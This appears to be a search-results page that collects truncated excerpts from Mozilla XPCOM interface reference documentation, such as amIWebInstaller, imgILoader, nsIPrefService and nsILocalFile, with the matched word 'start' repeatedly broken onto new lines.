arameters nsastring& astring nsastring& operator=(const prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - source parameters prunichar achar replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, prunichar) - source parameters pruint32 cut
start pruint32 cutlength prunichar c void replace(pruint32, pruint32, const nsastring&) - source parameters pruint32 cut
start pruint32 cutlength nsastring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
nsString external
char* adata pruint32 alength void assign(prunichar) - source parameters prunichar achar assignliteral void assignliteral(const char*) - source parameters char* astr replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, prunichar) - source parameters pruint32 cut
start pruint32 cutlength prunichar c void replace(pruint32, pruint32, const nsastring&) - source parameters pruint32 cut
start pruint32 cutlength nsastring& readable ...
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters from the strin...
amIWebInstallInfo
toolkit/mozapps/extensions/amiwebinstalllistener.idlscriptable this interface is used by the default implementation of amiwebinstalllistener to communicate with the running application and allow it to warn the user about blocked installs and
start the installs running. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void install(); attributes attribute type description installs nsivariant an array of addoninstall objects. read only. originatinguri nsiuri the uri that
started the installs. for example, the referring page for a link to an xpi download. read only. originatingwindow nsidomwindow ...
...) method overview void install(); attributes attribute type description installs nsivariant an array of addoninstall objects. read only. originatinguri nsiuri the uri that
started the installs. for example, the referring page for a link to an xpi download. read only. originatingwindow nsidomwindow the window that
started the installs. read only. note: prior to gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5), this was an nsidomwindowinternal. methods install()
starts all installs. void install(); parameters none. ...
amIWebInstaller
toolkit/mozapps/extensions/amiwebinstaller.idlscriptable this interface is used to allow web pages to
start installing add-ons. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview boolean installaddonsfromwebpage(in astring amimetype, in nsidomwindow awindow, in nsiuri areferer, [array, size_is(ainstallcount)] in wstring auris, [array, size_is(ainstallcount)] in wstring ahashes, [array, size_is(ainstallcount)] in wstring anames, [array, size_is(ainstallcount)] in wstring aicons, [optional] in amiinstallcallback acallback, [optional] in pruint32 ainstallcount); boolean isinstallenabled(in astring amimetype, in nsiuri areferer); note: prior...
... for the add-ons to be installed. anames the names for the add-ons to be installed. aicons the icons for the add-ons to be installed. acallback optional an optional callback to notify about installation success and failure. ainstallcount optional an optional argument including the number of add-ons to install. return value true if the installation was successfully
started. isinstallenabled() checks if installation is enabled for a web page. boolean isinstallenabled( in astring amimetype, in nsiuri areferer ); parameters amimetype the mime type for the add-on to be installed. areferer the uri of the web page for which to see if installation is allowed. return value true if installation is enabled. ...
imgIContainer
you can only be guaranteed that querying this will not throw if status_decode_complete is set on the imgirequest. read only. exceptions thrown ...
...his feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. void setframetimeout( in unsigned long framenumber, in print32 atimeout ); parameters framenumber missing description atimeout missing description exceptions thrown missing exception missing description
startanimation() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) void
startanimation(); parameters none. exceptions thrown missing exception missing description stopanimation() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) void stopanimation(); parameters none. exceptions thrown missing exception...
imgILoader
imgirequest loadimage( in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy ); parameters auri t...
...ta. aloadflags load flags for the request. cachekey arequest a newly created, unused imgirequest object or null for one to be created for you. libpr0n does not keep a strong ref to the observer; this prevents reference cycles. this means that callers of loadimage should make sure to cancel() the resulting request before the observer goes away. channelpolicy return value loadimagewithchannel()
start the load and decode of an image. libpr0n does not keep a strong ref to the observer; this prevents reference cycles. this means that callers of loadimagewithchannel should make sure to cancel() the resulting request before the observer goes away. imgirequest loadimagewithchannel( in nsichannel achannel, in imgidecoderobserver aobserver, in nsisupports cx, out nsistreamlistener alistener )...
imgIRequest
hat this image was loaded with. read only. decoderobserver imgidecoderobserver read only. image imgicontainer the image container. read only. imageprincipal nsiprincipal the principal gotten from the channel the image was loaded from. read only. imagestatus unsigned long status flags of the status_* variety. read only. mimetype string read only. uri nsiuri the uri the image load was
started with. note that this might not be the actual uri for the image (for example if http redirects happened during the load). read only. constants constant value description status_none 0x0 nothing to report. status_size_available 0x1 we received enough image data from the network or filesystem that we know the width and height of the image, and have thus called setsize() on the containe...
...it will be called for you automatically. void lockimage(); parameters none. requestdecode() requests a decode for the image. imgicontainer has a requestdecode method, but callers may want to request a decode before the container has necessarily been instantiated. calling requestdecode on the imgirequest simply forwards along the request if the container already exists, or calls it once it gets on
startcontainer if the container does not yet exist. void requestdecode(); parameters none. unlockimage() unlocks an image. void unlockimage(); parameters none. ...
mozIAsyncHistory
void getplacesinfo( in jsval aplaceidentifiers, in mozivisitinfocallback acallback ); parameters aplaceidentifiers the uri for which to determine the visited status. acallback an object implementing the mozivisitedstatuscallba...
...ifiers, in mozivisitinfocallback acallback ); parameters aplaceidentifiers the uri for which to determine the visited status. acallback an object implementing the mozivisitedstatuscallback.isvisited() method. if there's no information available for a given place, acallback is called with a stub place info object, containing just the provided data (guid or uri). isurivisited()
starts an asynchronous request to determine whether or not a given uri has been visited; you must implement a callback to receive the result of the request. void isurivisited( in nsiuri auri, in mozivisitedstatuscallback acallback ); parameters auri the places for which to retrieve information, identified by either a single place guid, a single uri, or a js array of uris and/or guids. ...
mozIStorageStatement
t. newbindingparamsarray() creates and returns a new mozistoragebindingparamsarray object that can be used to bind multiple values to parameters in preparation for calling executeasync(). mozistoragebindingparamsarray newbindingparamsarray(); parameters none. bindparameters() binds all the parameters in the specified array to the statement in preparation for calling executeasync(). note:
starting in gecko 2.0, this method returns ns_error_unexpected if the specified mozistoragebindingparamsarray is empty. void bindparameters( in mozistoragebindingparamsarray aparameters ); parameters aparameters the mozistoragebindingparamsarray object containing one or more mozistoragebindingparams objects with the parameters to be bound to the statement prior to execution. bindutf8stringpa...
... parameters aparamindex the zero-based numerical index for the parameter to be bound. this will be one less than the number used in the sql (<code>?1</code> maps to <code>0</code>, and so on). avalue to be bound to the specified index. avaluesize size of avalue. execution functions these functions are discussed in more detail with sample code in the overview document. executeasync()
starts the execution of a query asynchronously using the currently bound parameters. the optional callback routine receives notifications about the progress of the query. for sample code and more details, see the overview document. note: the statement does not have to be reset before being reused. mozistoragependingstatement executeasync( [optional] mozistoragestatementcallback acallback ); param...
nsIAccessibleHyperLink
sible is unattached from the accessible tree. endindex long the end offset of the hyperlink accessible within the parent accessible. the returned value is related to the nsiaccessiblehyperlink interface of the object that owns this hyperlink. read only. note: the link itself is represented by one embedded character within the parent text, so the endindex should be
startindex + 1. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. selected boolean determines whether the element currently has the focus, for example after returning from the destination page. read only. note: aria links can only be focused if they have the tabindex attribute set. also, state_...
...e element currently has the focus, for example after returning from the destination page. read only. note: aria links can only be focused if they have the tabindex attribute set. also, state_focused should then be set on the accessible for this link. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
startindex long the offset of the hyperlink accessible within the parent accessible. the returned value is related to the nsiaccessiblehyperlink interface of the object that owns this hyperlink. read only. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. valid boolean determines whether ...
nsICacheEntryDescriptor
ect. void markvalid(); parameters none. openinputstream() this method opens blocking input stream to cache data. this will fail if the cache entry is not stream based. use the stream transport service to asynchronously read this stream on a background thread. the returned stream may implement nsiseekablestream. nsiinputstream openinputstream( in unsigned long offset ); parameters offset read
starting from this offset into the cached data. an offset beyond the end of the stream has undefined consequences. return value returns blocking, unbuffered input stream. openoutputstream() this method opens blocking output stream to cache data. this will fail if the cache entry is not stream based. use the stream transport service to asynchronously write to this stream on a background thread. the ret...
.... this will fail if the cache entry is not stream based. use the stream transport service to asynchronously write to this stream on a background thread. the returned stream may implement nsiseekablestream. if opening an output stream to existing cached data, the data will be truncated to the specified offset. nsioutputstream openoutputstream( in unsigned long offset ); parameters offset write
starting from this offset into the cached data. an offset beyond the end of the stream has undefined consequences. return value returns blocking, unbuffered output stream. setdatasize() this method sets the cache entry data size. this will fail if the cache entry is stream based. void setdatasize( in unsigned long size ); parameters size the cache entry data size. setexpirationtime() this method ...
nsICommandLine
by a single dash. some flags may take parameters; for example: "-url <param>" or "-install-xpi <param>". method overview long findflag(in astring aflag, in boolean acasesensitive); astring getargument(in long aindex); boolean handleflag(in astring aflag, in boolean acasesensitive); astring handleflagwithparam(in astring aflag, in boolean acasesensitive); void removearguments(in long a
start, in long aend); nsifile resolvefile(in astring aargument); nsiuri resolveuri(in astring aargument); attributes attribute type description length long number of arguments in the command line. the application name is not part of the command line. read only. preventdefault boolean there may be a command-line handler which performs a default action if there was no explicit action on the...
...earch. return value the value of the specified flag, an empty string if the flag's value is the empty string, or null if the specified parameter wasn't found. exceptions thrown ns_error_invalid_arg the specified flag has no value. removearguments() removes a range of arguments from the command line; this is typically done once those arguments have been handled. void removearguments( in long a
start, in long aend ); parameters a
start the index to the first argument to remove from the command line; this is 0-based, and the name of the application is not included. aend the index to the last argument to remove from the command line. resolvefile() resolves a file-path argument into an nsifile object. this method gracefully handles relative or absolute file paths, according to the working di...
nsIComponentManager
rome.manifest file from the specified directory or xpi file. a "bootstrapped" chrome manifest supports some of the instructions allowed in a regular chrome manifest, see the chrome registration documentation for details. this method was introduced in gecko 8 to let bootstrapped add-ons provide content at chrome:// uris. until gecko 10 you had to call this method manually from within the add-on's
startup() method (with a matching removebootstrappedmanifestlocation() call in the add-on's shutdown() method). if you're targeting gecko 10 or higher there should be no need to call this method, since the bootstrapped add-on's chrome.manifest is loaded automatically now. void addbootstrappedmanifestlocation( in interface nsilocalfile alocation ); parameters alocation the directory or xpi fro...
...sly registered with the addbootstrappedmanifestlocation() method. see addbootstrappedmanifestlocation() for details. void removebootstrappedmanifestlocation( in interface nsilocalfile alocation ); parameters examples using addbootstrappedmanifestlocation in a bootstrapped extension for firefox 8 and 9: alocation the directory or xpi to stop reading the chrome.manifest from. ...
nsICompositionStringSynthesizer
ated with a dom window at created by nsidomwindowutils.createcompositionstringsynthesizer(). to create an instance for this: var domwindowutils = window.windowutils; var compositionstringsynthesizer = domwindowutils.createcompositionstringsynthesizer(); for example, when you create a composition whose composing string is "foo-bar-buzz" and "bar" is selected to convert, then, first, you need to
start composition: domwindowutils.sendcompositionevent("composition
start", "", ""); next, dispatch composition string with crause information and caret information (optional): // set new composition string with .setstring(). compositionstringsynthesizer.setstring("foo-bar-buzz"); // set clause information with .appendclause(). compositionstringsynthesizer.appendclause("foo-".length, compositionstri...
...nally, when you commits composition with the last composition string "foo-bar-buzz": // deprecated in 36, first, dispatch commit string without clause information compositionstringsynthesizer.setstring("foo-bar-buzz"); compositionstringsynthesizer.dispatchevent(); // then, dispatch compositionend with the commit string domwindowutils.sendcompositionevent("compositionend", "foo-bar-buzz", "");
starting gecko 36, you can do it simpler: domwindowutils.sendcompositionevent("compositioncommitasis", "", ""); if you need to commit composition with different commit string gecko 36 or later, you can use "compositioncommit": domwindowutils.sendcompositionevent("compositioncommit", "foo-bar-buzz", ""); method overview void appendclause(in unsigned long alength, in unsigned long aattribu...
nsIContentViewer
(); [noscript,notxpcom,nostdcall] nsiviewptr findcontainerview(); void getbounds(in nsintrectref abounds); native code only! [noscript,notxpcom] nsidocumentptr getdocument(); void hide(); void init(in nsiwidgetptr aparentwidget, [const] in nsintrectref abounds); native code only! ...
... only!init initializes the content viewer. void init( in nsiwidgetptr aparentwidget, [const] in nsintrectref abounds ); parameters aparentwidget missing description abounds missing description loadcomplete() void loadcomplete( in unsigned long astatus ); parameters astatus missing description exceptions thrown missing exception missing description load
start() void load
start( in nsisupports adoc ); parameters adoc missing description exceptions thrown missing exception missing description move() void move( in long ax, in long ay ); parameters ax missing description ay missing description open() attaches the content viewer to its dom window and docshell. void open( in nsisupports astate, in nsishentry ...
nsIDOMMozNetworkStats
read only. end date end date of the stats samples. read only. ...
...read only. end date end date of the stats samples. read only. ...
nsIDOMWindow
e primary interface for a window object. it represents a single window object that may contain child windows if the document in the window contains an html frameset document, or if the document contains iframe elements. ...
... in gecko 7.0 nsidomwindow2 has been merged into this interface. ...
nsIDownloadHistory
ed to add a download to history. there is a separate interface specifically for downloads in case embedders choose to track downloads differently from other types of history. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void adddownload(in nsiuri asource, [optional] in nsiuri areferrer, [optional] in prtime a
starttime); methods adddownload() adds a download to history. this will also notify observers that the uri asource is visited with the topic ns_link_visited_event_topic if asource has not yet been visited. void adddownload( in nsiuri asource, in nsiuri areferrer, optional in prtime a
starttime optional ); parameters asource the source of the download we are adding to history. this cannot be n...
...story. this will also notify observers that the uri asource is visited with the topic ns_link_visited_event_topic if asource has not yet been visited. void adddownload( in nsiuri asource, in nsiuri areferrer, optional in prtime a
starttime optional ); parameters asource the source of the download we are adding to history. this cannot be null. areferrer optional the referrer of source uri. a
starttime optional the time the download was
started. if the
start time is not given, the current time is used. ...
nsIDownloadProgressListener
ponents/downloads/nsidownloadprogresslistener.idlscriptable this interface gives applications and extensions a way to monitor the status of downloads being processed by the download manager. inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) to use simply implement this interface in your code, then call nsidownloadmanager.addlistener() to
start listening. when you no longer need to listen to the download manager's state, call nsidownloadmanager.removelistener() to stop listening. as the states of downloads change, the methods described here are called by the download manager so your code can take whatever steps it needs to. this interface works very similarly to the nsiwebprogress interface. it is important to note that there is no s...
... of a download request has changed. the received status message is intended to be displayed visibly to the user. note: if source and destination are identical, which is possible in case of file urls or chrome urls, this is called even in gecko 1.9.2. in such a situation no further event handlers are called and the stop flag is set; if there are more pending downloads in such a situation not yet
started they never
start. in normal situations this is never called. the method even if never called must be implemented in the listener, because the webprogress used to do the physical part of the download requires it and uses the listener instance provided to the download manager. void onstatuschange( in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring am...
nsIFeedProgressListener
but allow you to provide feedback during the parsing process. 1.0 66 introduced gecko 1.8 inherits from: nsifeedresultlistener last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleentry(in nsifeedentry entry, in nsifeedresult result); void handlefeedatfirstentry(in nsifeedresult result); void handle
startfeed(in nsifeedresult result); void reporterror(in astring errortext, in long linenumber, in boolean bozo); methods handleentry() called after each entry or item is processed. if the document is a standalone item or entry, the handlefeedatfirstentry() method will not already have been called, and the received nsifeedentry will have a null parent value. void handleentry( in nsi...
...of the feed-level metadata has been processed and is available in the received nsifeedresult object. note: if the feed type is one of the entry or item-only types, this event will never be called. void handlefeedatfirstentry( in nsifeedresult result ); parameters result an nsifeedresult describing the feed at the point at which the first entry is found, but before processing it. handle
startfeed() called as soon as a reasonable
start to a feed is detected; this lets your code know that the feed does appear to be an actual feed rather than some other sort of document. void handle
startfeed( in nsifeedresult result ); parameters result an nsifeedresult describing the current state of the feed at the moment parsing begins. reporterror() called by the feed processor when a fa...
nsIIdleService
ts from: nsisupports last changed in gecko 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) you can get the idle time directly, but in most cases you will want to register an observer for a predefined interval. the observer will get an 'idle' notification when the user is idle for that interval (or longer), and receive a 'back' (gecko 3 to 15) or 'active' (gecko 16+) notification when the user
starts using their computer again. note: the idle service is for computer-wide idle detection, not just application idle detection. in other words, even if the user is working in other applications, the idle service will still consider the user to be active. currently nsiidleservice implementations exist for windows, mac os x, and linux (via xscreensaver). implemented by: @mozilla.org/widget/idlese...
... notification contains the current user idle time in gecko 15 and earlier or 0 in gecko 16 and later. you can add the same observer twice. most implementations need to poll the os for idle info themselves, meaning your notifications could arrive with a delay up to the length of the polling interval in that implementation. current implementations use a delay of 5 seconds. gecko 1.9.2 note
starting in gecko 1.9.2, there is a once a day notification sent out if the user remains idle for an extended period: 'idle-daily'. the data parameter for the notification contains the current user idle time. void addidleobserver( in nsiobserver observer, in unsigned long time ); parameters observer the nsiobserver to be notified. time the amount of time in seconds the user should be idle...
nsILoadGroup
notification callbacks for the load group. requests nsisimpleenumerator returns the requests contained directly in this group. enumerator element type: nsirequest. read only. methods addrequest() adds a new request to the group. this will cause the default load flags to be applied to the request. ...
... removerequest() removes a request from the group. if this is a foreground request then the groupobserver's onstoprequest will be called. by the time this call ends, arequest will have been removed from the loadgroup, even if this function throws an exception. ...
nsILocalFile
00 optional parameter used by opennsprfiledesc(). methods native code only! appendrelativenativepath appends a relative, native character encoding, path to the current path of the nsilocalfile object. void appendrelativenativepath( in acstring relativefilepath ); parameters relativefilepath a native relative path. for security reasons, this cannot contain '..' or cannot
start with a directory separator '/'. must be in the native file system character set. exceptions thrown ns_error_file_unrecognized_path indicates that relativefilepath incorrectly begins with a path separator character or otherwise contains invalid characters. appendrelativepath() appends a relative native path to the current path of the nsilocalfile object. void appendrelativepath( in ast...
...dicates that relativefilepath incorrectly begins with a path separator character or otherwise contains invalid characters. appendrelativepath() appends a relative native path to the current path of the nsilocalfile object. void appendrelativepath( in astring relativefilepath ); parameters relativefilepath a native relative path. for security reasons, this cannot contain '..' or cannot
start with a directory separator '/' . exceptions thrown ns_error_file_unrecognized_path indicates that relativefilepath incorrectly begins with a path separator character or otherwise contains invalid characters. getrelativedescriptor() returns a relative file path in an opaque, cross platform format. it is therefore not a native path. acstring getrelativedescriptor( in nsilocalfile fromfi...
nsIMIMEInputStream
); void setdata(in nsiinputstream stream); attributes attribute type description addcontentlength boolean when true a "content-length" header is automatically added to the stream. the value of the content-length is automatically calculated using the available() method on the data stream. the value is recalculated every time the stream is rewound to the
start. not allowed to be changed once the stream has been
started to be read. methods addheader() adds an additional header to the stream on the form "name: value". may not be called once the stream has been
started to be read. void addheader( in string name, in string value ); parameters name name of the header. value value of the header. setdata() sets data-stream. may no...
...the cursor of the new stream should be located at the beginning of the stream if the implementation of the nsimimeinputstream also is used as an nsiseekablestream. void setdata( in nsiinputstream stream ); parameters stream stream containing the data for the stream. ...
nsIMemoryReporter
human-readable description of this memory usage report. read only. kind print32 the memory kind, one of the memory reporter kind constants below. read only. path autf8string the path that this memory usage should be reported under. paths are delimited with '/' characters to allow a hierarchy of memory to be displayed in about:memory. as of gecko 6.0, the path should
start with "explicit/" if the memory report accounts for all memory reported under sub-paths. read only. process acstring the name of the process containing this reporter. each reporter
starts with an empty string for this value, indicating that it applies to the current process; this is true even for reporters in a child process. when a reporter from a child process is copied into the m...
...g units. constant value description units_bytes 0 the amount is specified as a number of bytes. units_count 1 the amount is an instantaneous count of things currently in existence. for example, the number of tabs currently open. units_count_cumulative 2 the amount contains the number of times some event has occurred since the application
started up. for example, the number of times the user has opened a new tab. the amount returned must never decrease over the lifetime of the application. units_percentage 3 the amount contains a fraction that should be expressed as a percentage. note: the amount field should be given a value 100 times the actual percentage; this number will be divided by 100 when shown. this a...
nsIMsgFolder
the nsimsgfolder interface is used to interact with folders in thunderbird. this page is out of date. check //github.com/realityripple/uxp/blob/master/mailnews/base/public/nsimsgfolder.idl for the newer methods (esp. isspecialfolder and such). ...
...whether there is new mail. nsmsgdispositionstate_none -1 nsmsgdispositionstate_replied 0 nsmsgdispositionstate_forwarded 1 allmessagecountnotifications 0 turn notifications on/off for various notification types. currently only supporting allmessagecountnotifications which refers to both total and unread message counts. methods
startfolderloading() void
startfolderloading(); endfolderloading() void endfolderloading(); updatefolder() get new headers for the database. void updatefolder(nsimsgwindow awindow); getfilterlist() get the filter list on folder's server (or in the case of news, the filter list for this newsgroup). nsimsgfilterlist getfilterlist(nsimsgwindow msgwindow); setfilterlist() void setfilter...
nsIMsgIncomingServer
server. otherwise, copies and folders prefs should point to local folders. by default this value is set to true via global pref 'allows_specialfolders_usage' (mailnews.js). for nntp, the value is overridden to be false. if isps want to modify this value, they should do that in their rdf file by using this attribute. please look at mozilla/mailnews/base/ispdata/aol.rdf for usage example. display
startuppage boolean dobiff boolean downloadmessagesat
startup boolean read only. downloadonbiff boolean downloadsettings nsimsgdownloadsettings emptytrashonexit boolean filterscope nsmsgsearchscopevalue read only. hostname acstring hostname of the server. incomingduplicateaction long isdeferredto boolean read only. issecure boolean issecureserver boolean read only. ...
...duplicateaction long isdeferredto boolean read only. issecure boolean issecureserver boolean read only. key acstring internal pref key - guaranteed to be unique across all servers. limitofflinemessagesize boolean localpath nsilocalfile localstoretype acstring the schema for the local mail store, such as "mailbox", "imap", or "news" used to construct uris. read only. loginat
startup boolean logonfallback boolean maxmessagesize long offlinesupportlevel long password acstring passwordpromptrequired boolean if the password for the server is available either via authentication in the current session or from password manager stored entries, return false. otherwise, return true. if password is obtained from password manager, set the password member variable. r...
nsIMsgMessageService
ers amessageuri uri of message to stream aconsumer generally, a stream listener listening to the message. the consumer has to be a stream listener and in your listener's ondataavailable method, you can write out the stream data to a local file or concatenate it to a string. amsgwindow nsimsgwindow for progress and status feedback. aurllistener an nsiurllistener that is notified when url
starts and stops. aconvertdata if aconvertdata is true, it will create a stream converter from message rfc2822 to */*. aadditionalheader header added to the uri. e.g., header=filter return the nsiuri that gets run example for example, the next piece of code shows the selected message code on a dialog: (taken from mozillazine) var content = ""; var messageuri = getfirstselectedmessage(); ...
... in boolean alocalonly); parameters amessageuri uri of message to stream aconsumer nsistreamlistener generally, a stream listener listening to the message headers. the consumer has to be a stream listener and in your listener's ondataavailable method, you can write out the stream data to a local file or concatenate it to a string. aurllistener an nsiurllistener that is notified when url
starts and stops, if we run a url. alocalonly whether data should be retrieved only from local caches. if streaming over the network is required and this is true, then an exception is thrown. this defaults to false. note if we're offline, then even if alocalonly is false, we won't stream over the network return the url that gets run, if any ismsginmemcache() determines whether a message is ...
nsINavHistoryResultObserver
ged(in unsigned short sortingmode); attributes attribute type description result nsinavhistoryresult the nsinavhistoryresult this observer monitors. although this attribute is read-write, you should not alter it directly; instead, call nsinavhistoryresult.addobserver() to add an observer to a result. methods batching() lets the observer know when a batch operation in places is about to
start or end. the observer can then pause updates or events until the batch is completed, so that it won't handle the large number of updates that are about to be notified. this is especially useful when updating user interfaces, to avoid flicker or continuous selection changes, which may result in performance degradation (for example, if updating a view for each update). void batching( in boolean at...
... until the batch is completed, so that it won't handle the large number of updates that are about to be notified. this is especially useful when updating user interfaces, to avoid flicker or continuous selection changes, which may result in performance degradation (for example, if updating a view for each update). void batching( in boolean atogglemode ); parameters atogglemode specify true to
start batch mode or false to finish the batch. containerclosed() obsolete since gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) called when a container node's state changes from opened to closed. note: this method was deprecated in gecko 2.0 and removed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8). implement the containerstatechanged() method i...
nsIPlacesImportExportService
te: this method has been removed; use the bookmarkhtmlutils.jsm javascript code module instead. loads the given bookmarks.html file and replaces it with the current bookmarks hierarchy (if aisinitialimport is true) or appends it (if aisinitialimport is false). three nsiobserverservice notifications are fired as a result of the import. "bookmarks-restore-begin" is fired just before the import is
started. "bookmarks-restore-success" is fired right after the bookmarks are successfully imported. "bookmarks-restore-failed" is fired right after a failure occurs when importing the bookmarks. observers will be passed through their data parameters either "html" if aisinitialimport is false or "html-initial" if aisinitialimport is true. the observer subject will be null. void importhtmlfromfile( in ...
... obsolete since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) note: this method has been removed; use the bookmarkhtmlutils.jsm javascript code module instead.loads the given bookmarks.html file and puts it in the given folder. three nsiobserverservice notifications are fired as a result of the import. "bookmarks-restore-begin" is fired just before the import is
started. "bookmarks-restore-success" is fired right after the bookmarks are successfully imported. "bookmarks-restore-failed" is fired right after a failure occurs when importing the bookmarks. observers will be passed through their data parameters either "html" if aisinitialimport is false or "html-initial" if aisinitialimport is true. the observer subject will be an nsisupportsprint64 whose value is ...
nsIPrefService
accesses user preference data. using a set method on this object will always create or set a user preference value. when using a get method a user set value will be returned if one exists, otherwise a default value will be returned. nsiprefbranch getbranch( in string aprefroot ); parameters aprefroot the preference root tree on which to base this branch. for example, if the root browser.
startup. is used, the branch will be able to easily access the preferences browser.
startup.page, browser.
startup.homepage, and browser.
startup.homepage_override by simply requesting page, homepage, or homepage_override. nsnull or "" (empty string) may be used to access to the entire preference tree. return value nsiprefbranch - the object representing the requested branch. getdefaultbranch() call ...
...e will always be returned. note: few consumers will want to create default branch objects. many of the branch methods do nothing on a default branch because the operations only make sense when applied to user set preferences. nsiprefbranch getdefaultbranch( in string aprefroot ); parameters aprefroot the preference root tree on which to base this branch. for example, if the root browser.
startup. is used, the branch will be able to easily access the preferences browser.
startup.page, browser.
startup.homepage, and browser.
startup.homepage_override by simply requesting page, homepage, or homepage_override. nsnull or "" (empty string) may be used to access to the entire preference tree. return value nsiprefbranch - the object representing the requested default branch. readuserprefs() ...
nsIPrivateBrowsingService
ode, firefox shouldn't save any potentially private information. the browser itself stops caching, and also doesn't record history information. in addition, temporary, databases are created to be used for cookies and local storage; these databases are thrown away when private browsing mode is turned off, and the regular databases are re-activated. the temporary cookie and local storage databases
start out empty. extensions that record potentially private information should use this interface to detect whether private browsing mode is enabled, and if it is, avoid saving that information. for details on how to do this, see the article supporting private browsing mode. similarly, plug-ins can detect whether or not private browsing mode is in effect by using the npn_getvalue() function to check ...
...= components.classes["@mozilla.org/privatebrowsing;1"] .getservice(components.interfaces.nsiprivatebrowsingservice); c++ callers should use the contract id @mozilla.org/privatebrowsing-wrapper;1 instead. method overview void removedatafromdomain(in autf8string adomain); attributes attribute type description auto
started boolean indicates whether or not private browsing was
started automatically at application launch time. this is only ever true if privatebrowsingenabled is also true. read only. lastchangedbycommandline boolean indicates whether or not the last private browsing mode transition was performed on the command line (using either the -private or -private-togg...
nsIRadioInterfaceLayer
obsolete since gecko 13.0 microphonemuted bool radiostate jsval read only. speakerenabled bool constants call state constants co...
...all() pdp apis. void setupdatacall( in long radiotech, in domstring apn, in domstring user, in domstring passwd, in long chappap, in domstring pdptype ); parameters radiotech missing description apn missing description user missing description passwd missing description chappap missing description pdptype missing description exceptions thrown missing exception missing description
starttone() void
starttone( in domstring dtmfchar ); parameters dtmfchar missing description exceptions thrown missing exception missing description stoptone() void stoptone(); parameters none. exceptions thrown missing exception missing description unregistercallback() void unregistercallback( in nsiriltelephonycallback callback ); parameters callback missing description exceptions thro...
nsIRequestObserver
netwerk/base/public/nsirequestobserver.idlscriptable this interface is used by various streams (such as nsichannel ) to indicate the
start and end of a request. inherits from: nsisupports last changed in gecko 1.0 method overview void on
startrequest(in nsirequest arequest, in nsisupports acontext); void onstoprequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatuscode); methods on
startrequest() called to signify the beginning of an asynchronous request. note: an exception thrown from on
startrequest has the side-effect of causing the request to be canceled. void on
startrequest( in nsirequest arequest, in nsisupports acontext ); parameters arequest request being observed. acontext user defi...
...note: an exception thrown from onstoprequest is generally ignored. void onstoprequest( in nsirequest arequest, in nsisupports acontext, in nsresult astatuscode ); parameters arequest request being observed. acontext user defined context. ...
nsIScriptableInputStream
ilable to read acount amount of data. ns_base_stream_would_block if reading from the input stream would block the calling thread (non-blocking mode only). remarks this interface provides javascript with a way to read ascii text from a nsiinputstream. however, it does not address the problem of reading arbitrary binary data from a stream. for binary input see nsibinaryinputstream. note:
starting in gecko 2.0, you can use the netutils.jsm javascript code module and its readinputstreamtostring() method to read arbitrary binary data into a javascript string. the nsscriptableinputstream component implements this interface. this interface was frozen for gecko 1.2. from gecko 2.0 interfaces are no longer frozen. examples list contents of xpi and read file contents this example here uses th...
... let contents = stream.readbytes(entry.realsize); } finally { stream.close(); } example usage in ondataavailable remember: the nsiscriptableinputstream has a contract where `init` should only be called once, and should always be closed. ...
nsISeekableStream
xpcom/io/nsiseekablestream.idlscriptable provides seeking support in data streams. inherits from: nsisupports last changed in gecko 1.7 method overview void seek(in long whence, in long long offset); void seteof(); long long tell(); constants constant value description ns_seek_set 0 specifies that the offset is relative to the
start of the stream. ns_seek_cur 1 specifies that the offset is relative to the current position in the stream. ns_seek_end 2 specifies that the offset is relative to the end of the stream. methods seek() this method moves the stream offset of the stream implementing this interface. void seek( in long whence, in long long offset ); parameters whence spe...
...ementing stream. a negative value causes seeking in the reverse direction. exceptions thrown ns_base_stream_closed if called on a closed stream. seteof() this method truncates the stream at the current offset. void seteof(); parameters none. exceptions thrown ns_base_stream_closed if called on a closed stream. tell() this method reports the current offset, in bytes, from the
start of the stream. long long tell(); parameters none. return value the current offset, in bytes, from the
start of the stream. exceptions thrown ns_base_stream_closed if called on a closed stream. ...
nsISelectionController
ts from: nsiselectiondisplay last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void characterextendforbackspace(); native code only! void characterextendfordelete(); native code only! ...
...the last point adjusted by the selection. void charactermove( in boolean forward, in boolean extend ); parameters forward forward or backward if pr_false. extend should it collapse the selection or extend it? checkvisibility() checks if textnode and offsets are actually rendered in the current precontext. boolean checkvisibility( in nsidomnode node, in short
startoffset, in short endoffset ); parameters node nsidomnode to test.
